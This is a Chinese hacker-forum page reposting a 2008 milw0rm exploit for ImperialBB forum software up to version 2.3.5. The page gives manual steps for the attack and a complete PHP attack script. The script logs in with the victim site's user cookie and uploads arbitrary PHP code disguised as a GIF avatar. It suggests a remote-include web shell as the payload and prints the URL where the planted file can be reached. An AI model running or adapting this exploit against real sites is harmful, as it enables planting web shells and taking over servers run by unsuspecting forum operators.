| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
免费服务 我要发布 在线破解 黑客游戏 精华收集 免费空间 网络硬盘 独家报道 黑器点播 免费 FTP 交换资源
收费服务 黑客培训 光盘刻录 黑客书籍 视频下载 主力频道 空间域名 网站建设 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 漏洞 >> web apps >> 正文 用户登录 新用户注册
远程文件上传利用           ★★★ 【字体:
ImperialBB <= 2.3.5 Remote File Upload Exploit
作者:milw0rm 文章来源:milw0rm 点击数: 更新时间:2008-7-7
Title     :    ImperialBB <= 2.3.5 Remote File Upload Vulnerability
Date      :    5th July 2008
Found by  :    PHPLizardo - http://phplizardo.2gb.fr
Greetz    :    Gu1ll4um3r0m41n

Howto     :    1. Go to your User Control Panel
               2. Upload any file you want
               3. Tamper the request and change the mime-type to : image/gif
               4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]
  
<?php
/*

Title                 :   ImperialBB <= 2.3.5 Remote Upload Vulnerability
Date                  :   5th July 2008
Found by              :   PHPLizardo

Description           :   This vulnerability can be used by a attacker to upload  a malicious script on the webserver.

Greetz                :   irc.worldnet.net #carib0u
 

*/

if(count($argv) == 5)
{
echo "\n\n";
echo "+---------------------------------------------------------------+\r\n";
echo "|        ImperialBB <= 2.3.5 Remote Upload Vulnerability        |\r\n";
echo "|           By PHPLizardo - irc.worldnet.net #carib0u           |\r\n";
echo "|        Usage: php exploit.php site.com /path/ user pass       |\r\n";
echo "+---------------------------------------------------------------+\r\n";
echo "\n";

echo "Code to write in the file (ie. <?php include(\$_GET['inc']); ?>) :\r\n\n";
$code     =   trim(fgets(STDIN));

$socket   =   @fsockopen($argv[1], 80, $eno, $estr, 30);
if(!$socket)
{
die("Could not connect to ".$argv[1].". Operation aborted.");
}

$part1      =   "POST " . $argv[2] . "profile.php?func=edit HTTP/1.1\r\n";
$part1     .=   "Host: " . $argv[1] . "\r\n";
$part1     .=   "Accept: */*\r\n";
$part1     .=   "Connection: Close\r\n";
$part1     .=   "Cookie: UserName=" . $argv[3] . "; Password=" . md5(md5($argv[4])) . "\r\n";
$part1     .=   "Content-Type: multipart/form-data; boundary=---------------------------200831142015814\r\n";

$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Email\"\r\n\r\n";
$part2     .=   "test@test.test\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Email2\"\r\n\r\n";
$part2     .=   "test@test.test\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"PassWord\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Pass2\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"signature\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"aim\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"icq\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"msn\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"yahoo\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Remote_Avatar_URL\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Upload_Avatar\"; filename=\"funypicture.php\"\r\n";
$part2     .=   "Content-Type: image/gif\r\n\r\n";
$part2     .=   $code."\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"month\"\r\n\r\n";
$part2     .=   "00\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"day\"\r\n\r\n";
$part2     .=   "00\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"year\"\r\n\r\n";
$part2     .=   "0000\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"website\"\r\n\r\n\r\n";

$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"location\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"email_on_pm\"\r\n\r\n";
$part2     .=   "0\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";
$part2     .=   "-----------------------------200831142015814\r\n";
$part2     .=   "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n";
$part2     .=   "Submit\r\n";
$part2     .=   "-----------------------------200831142015814--\r\n";

$part1     .=   "Content-Length: " . strlen($part2) . "\r\n\r\n";



$part1     .=   $part2;

fwrite($socket, $part1);

echo "It might have worked, check if your file is online at -> http://" . $argv[1] . $argv[2] . "/images/avatars/uploads/" . $argv[3] . "_funypicture.php";

}
else
{
echo "\n\n";
echo "+----.-----------------------------------------------------------+\r\n";
echo "|        ImperialBB <= 2.3.5 Remote Upload Vulnerability        |\r\n";
echo "|           By PHPLizardo - irc.worldnet.net #carib0u           |\r\n";
echo "|        Usage: php exploit.php site.com /path/ user pass       |\r\n";
echo "+---------------------------------------------------------------+\r\n";
echo "\n\n";
}
?>

# milw0rm.com
责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇漏洞:

  • 下一篇漏洞:
  • 最新hack更新
    最新推荐资讯
    相关漏洞
    fuzzylime 远程命令执行漏洞
    Joomla远程SQL注入漏洞
    多个远程SQL注入漏洞
    Sisplet远程SQL注入漏洞
    VanGogh远程SQL注入
    AShop远程SQL注入漏洞
    pSys远程SQL注入漏洞
    远程SQL注入漏洞
    Webdevindo远程SQL注入漏洞
    MyPHP远程SQL注入漏洞
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号